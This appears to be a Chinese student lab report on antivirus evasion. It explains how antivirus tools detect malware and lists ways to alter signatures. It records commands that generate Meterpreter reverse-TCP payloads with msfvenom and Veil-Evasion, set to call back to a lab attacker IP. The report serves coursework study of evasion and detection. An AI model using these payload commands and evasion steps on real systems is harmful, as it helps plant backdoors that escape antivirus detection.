(1)杀软是如何检测出恶意代码的?

  • 基于签名的检测技术
    基于签名的检测技术主要基于模式匹配的思想,为每种已知恶意代码产生一个唯一的签名特征标记来创建恶意代码库。这些签名包括很多不同的属性,如文件名、内容字符串或字节等,并且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。将未知代码的签名特征与恶意代码库进行对比,搜索恶意代码库查找时候存在相匹配的恶意代码签名,若有吻合,则判定为恶意代码;反之则判断为正常代码。这些签名有专家手工找出或通过自动方法生成,一个签名呗提取出来以标志一个特定恶意代码的特征性质。
  • 启发式恶意软件检测
    这种方法的思想是为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看作是恶意代码.这种方法主要的技术是要准确的定义类似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。
  • 基于行为的恶意软件检测
    利用病毒的特有行为特征来监测病毒的方法,称为行为监测法.通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊.当程序运行时,监视其行为,如果发现了病毒行为,立即报警.缺点是误报率比较高、不能识别病毒名称及类型、实现时有一定难度。

*基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

(2)免杀是做什么?

免杀就是让安插的后门不被AV软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

(3)免杀的基本方法有哪些?
**方法一:直接修改特征码的十六进制法 **
1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.
2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能
否正常使用.
**方法二:修改字符串大小写法 **
1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
2.适用范围:特征码所对应的内容必需是字符串,否则不能成功.
**方法三:等价替换法 **
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.
如果和我一样对汇编不懂的可以去查查8080汇编手册.
**方法四:指令顺序调换法 **
1.修改方法:把具有特征码的代码顺序互换一下.
2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行
方法五:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.
**文件免杀方法: **
1.加冷门壳
2.加花指令
3.改程序入口点
4.改木马文件特征码的5种常用方法
5.还有其它的几种免杀修改技巧
内存免杀方法:
修改内存特征码:
方法1>直接修改特征码的十六进制法
方法2>修改字符串大小写法
方法3>等价替换法
方法4>指令顺序调换法
方法5>通用跳转法

2.实践过程记录

(1)msfvenom直接生成meterpreter可执行文件

windows ip:222.28.136.230
kali ip:192.168.232.130
根据攻击机的IP用msfvenom直接生成meterpreter可执行文件

将其复制到Windows桌面,一开始防火墙会自动隔离,打开防火墙允许该文件,将文件传至网站:www.virscan.org进行检测,检测结果如下:

通过上面的实验可以看出现在编码的方式没有免杀的功能,还是要变换方式进行免杀的改造

(2)用Veil-Evasion生成可执行文件

kali原本没有veil-evasion ,所以需要先安装(解决方法在下面问题及解决)

使用命令Veil-Evation,打开Veil-Evation,按照menu提示进行相关操作:

menu下依次输入语言、ip、端口号以及文件名等

use python/meterpreter/rev_tcp
set LHOST 192.168.232.130
generate
0202
1

将生成的文件复制到主机,上传网站:www.virscan.org进行检测

(3)使用c语言调用shellcode

使用命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.130  LPORT=443 -f c

把生成的代码从虚拟机中复制出来,加入到word中省略部分中,用Microsoft Visual Studio 2012或者Visual C++ 6.0进行编译运行生成可执行文件。windows会直接屏蔽删除。

3.实践总结与体会

实践的每一步都决定实验成功与否,因此不论是查找文件夹还是敲指令,都要既细心有耐心。

4、遇到的问题与解决过程

  • kali本身没有Veil-Evasion,需要自己安装,使用命令sudo apt-get install veil-evasion安装时安装缓慢,还不成功,最后使用了到github上克隆的方法。参考了免杀后门之MSF&Veil-Evasion的完美结合
  • 因为安装了Veil-Evasion使得虚拟机死机,重启后一直在输入用户名和密码之间死循环,试了更新vmware workstations并不可以,又找了个有用的帖子更新了一下,时间漫长。。。。。。。终于好了

参考资料

恶意代码检测技术
免杀后门之MSF&Veil-Evasion的完美结合
kali 登录界面无限循环